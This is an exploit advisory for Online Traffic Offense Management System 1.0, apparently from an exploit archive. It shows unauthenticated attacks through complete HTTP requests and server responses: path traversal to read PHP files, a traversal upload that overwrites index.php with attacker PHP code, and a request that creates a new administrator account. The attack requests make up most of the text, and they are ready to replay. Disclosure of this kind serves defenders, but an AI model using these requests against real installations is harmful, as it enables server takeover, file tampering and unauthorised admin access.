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Online Traffic Offense Management System 1.0 Privilege Escalation

Online Traffic Offense Management System 1.0 Privilege Escalation
Posted Oct 8, 2021
Authored by Hubert Wojciechowski

Online Traffic Offense Management System version 1.0 suffers from a privilege escalation vulnerability.

tags | exploit
MD5 | 0082cca548c5a694af065755e3f58da5

Online Traffic Offense Management System 1.0 Privilege Escalation

Change Mirror Download
# Exploit Title: Online Traffic Offense Management System 1.0 - Privilage escalation (Unauthenticated)
# Date: 07/10/2021
# Exploit Author: Hubert Wojciechowski
# Contact Author: snup.php@gmail.com
# Vendor Homepage: https://www.sourcecodester.com
# Software Link: https://www.sourcecodester.com/php/14909/online-traffic-offense-management-system-php-free-source-code.html
# Version: 1.0
# Testeted on: Windows 10 using XAMPP, Apache/2.4.48 (Win64) OpenSSL/1.1.1l PHP/7.4.23

### Privilage escalation

# All requests can be sent by both an authenticated and a non-authenticated user

# The vulnerabilities in the application allow for:

* Reading any PHP file from the server
* Saving files to parent and child directories and overwriting files in server
* Performing operations by an unauthenticated user with application administrator rights

-----------------------------------------------------------------------------------------------------------------------
# POC
-----------------------------------------------------------------------------------------------------------------------

## Example 1 - Reading any PHP file from the server

Example vuln scripts:
http://localhost/traffic_offense/index.php?p=
http://localhost/traffic_offense/admin/?page=

# Request reading rrr.php file from other user in serwer

GET /traffic_offense/index.php?p=../phpwcms2/rrr HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close

-----------------------------------------------------------------------------------------------------------------------
# Response

HTTP/1.1 200 OK
Date: Thu, 07 Oct 2021 10:09:35 GMT
Server: Apache/2.4.48 (Win64) OpenSSL/1.1.1l PHP/7.4.23
X-Powered-By: PHP/7.4.23
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Access-Control-Allow-Origin: *
Connection: close
[...]
</br></br>Hacked file other user in serwer!</br></br>
[...]

-----------------------------------------------------------------------------------------------------------------------

## Example 2 - Saving files to parent and child directories and overwriting files in server

# Request to read file

GET /traffic_offense/index.php HTTP/1.1
Host: localhost
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36
Connection: close

-----------------------------------------------------------------------------------------------------------------------
# Response

HTTP/1.1 200 OK
Date: Thu, 07 Oct 2021 10:30:56 GMT
Server: Apache/2.4.48 (Win64) OpenSSL/1.1.1l PHP/7.4.23
X-Powered-By: PHP/7.4.23
Set-Cookie: PHPSESSID=330s5p4flpokvjpl4nvfp4dj2t; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Access-Control-Allow-Origin: *
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 15095

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Online Traffic Offense Management System - PHP</title>
[...]

-----------------------------------------------------------------------------------------------------------------------
# Request to overwrite file index.php in main directory webapp

POST /traffic_offense/classes/Master.php?f=save_driver HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------329606699635951312463334027403
Content-Length: 1928
Origin: http://localhost
Connection: close
Referer: http://localhost/traffic_offense/admin/?page=drivers/manage_driver&id=4
Cookie: PHPSESSID=2nkvkfftfjckjeqfkt6917vnu7
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

-----------------------------329606699635951312463334027403
Content-Disposition: form-data; name="id"

5/../../../index
-----------------------------329606699635951312463334027403
Content-Disposition: form-data; name="license_id_no"

GBN-1020061
-----------------------------329606699635951312463334027403
Content-Disposition: form-data; name="lastname"

Blake
-----------------------------329606699635951312463334027403
Content-Disposition: form-data; name="firstname"

Claire
-----------------------------329606699635951312463334027403
Content-Disposition: form-data; name="middlename"

C
-----------------------------329606699635951312463334027403
Content-Disposition: form-data; name="dob"

1992-10-12
-----------------------------329606699635951312463334027403
Content-Disposition: form-data; name="present_address"

Sample Addss 123
-----------------------------329606699635951312463334027403
Content-Disposition: form-data; name="permanent_address"

Sample Addess 123
-----------------------------329606699635951312463334027403
Content-Disposition: form-data; name="civil_status"

Married
-----------------------------329606699635951312463334027403
Content-Disposition: form-data; name="nationality"

Filipino
-----------------------------329606699635951312463334027403
Content-Disposition: form-data; name="contact"

09121789456
-----------------------------329606699635951312463334027403
Content-Disposition: form-data; name="license_type"

Non-Professional
-----------------------------329606699635951312463334027403
Content-Disposition: form-data; name="image_path"

uploads/drivers/
-----------------------------329606699635951312463334027403
Content-Disposition: form-data; name="img"; filename="fuzzdb.php"
Content-Type: image/png

<?php
echo "Hacked other client files in this hosting!";
?>
-----------------------------329606699635951312463334027403--

# New file have extention as this write filename="fuzzdb.php"
# New file have name and locate 5/../../../index we can save file in other directory ;)
# Line must start digit
# We can rewrite config files

-----------------------------------------------------------------------------------------------------------------------
# Respopnse

HTTP/1.1 200 OK
Date: Thu, 07 Oct 2021 10:38:35 GMT
Server: Apache/2.4.48 (Win64) OpenSSL/1.1.1l PHP/7.4.23
X-Powered-By: PHP/7.4.23
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Access-Control-Allow-Origin: *
Content-Length: 20
Connection: close
Content-Type: text/html; charset=UTF-8

{"status":"success"}

-----------------------------------------------------------------------------------------------------------------------
# Request to read file index.php again

GET /traffic_offense/index.php HTTP/1.1
Host: localhost
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36
Connection: close

-----------------------------------------------------------------------------------------------------------------------
# Response

HTTP/1.1 200 OK
Date: Thu, 07 Oct 2021 10:42:17 GMT
Server: Apache/2.4.48 (Win64) OpenSSL/1.1.1l PHP/7.4.23
X-Powered-By: PHP/7.4.23
Access-Control-Allow-Origin: *
Content-Length: 42
Connection: close
Content-Type: text/html; charset=UTF-8

Hacked other client files in this hosting!

-----------------------------------------------------------------------------------------------------------------------
## Example 4 - Performing operations by an unauthenticated user with application administrator rights

# The application allows you to perform many operations without authorization, the application has no permission matrix. The entire application is vulnerable
# Request adding new admin user to application by sending a request by an authorized user

POST /traffic_offense/classes/Users.php?f=save HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: */*
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------210106920639395210803657370685
Content-Length: 949
Origin: http://localhost
Connection: close
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

-----------------------------210106920639395210803657370685
Content-Disposition: form-data; name="id"

21
-----------------------------210106920639395210803657370685
Content-Disposition: form-data; name="firstname"

hack
-----------------------------210106920639395210803657370685
Content-Disposition: form-data; name="lastname"

hack
-----------------------------210106920639395210803657370685
Content-Disposition: form-data; name="username"

hack
-----------------------------210106920639395210803657370685
Content-Disposition: form-data; name="password"

hack
-----------------------------210106920639395210803657370685
Content-Disposition: form-data; name="type"

1
-----------------------------210106920639395210803657370685
Content-Disposition: form-data; name="img"; filename="aaa.php"
Content-Type: application/octet-stream

<?php
phpinfo();
?>

-----------------------------210106920639395210803657370685--

-----------------------------------------------------------------------------------------------------------------------
# Response

HTTP/1.1 200 OK
Date: Thu, 07 Oct 2021 10:50:36 GMT
Server: Apache/2.4.48 (Win64) OpenSSL/1.1.1l PHP/7.4.23
X-Powered-By: PHP/7.4.23
Set-Cookie: PHPSESSID=2l1p4103dtj3j3vrod0t6rk6pn; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Access-Control-Allow-Origin: *
Content-Length: 1
Connection: close
Content-Type: text/html; charset=UTF-8

1

# The request worked fine, log into the app using your hack account

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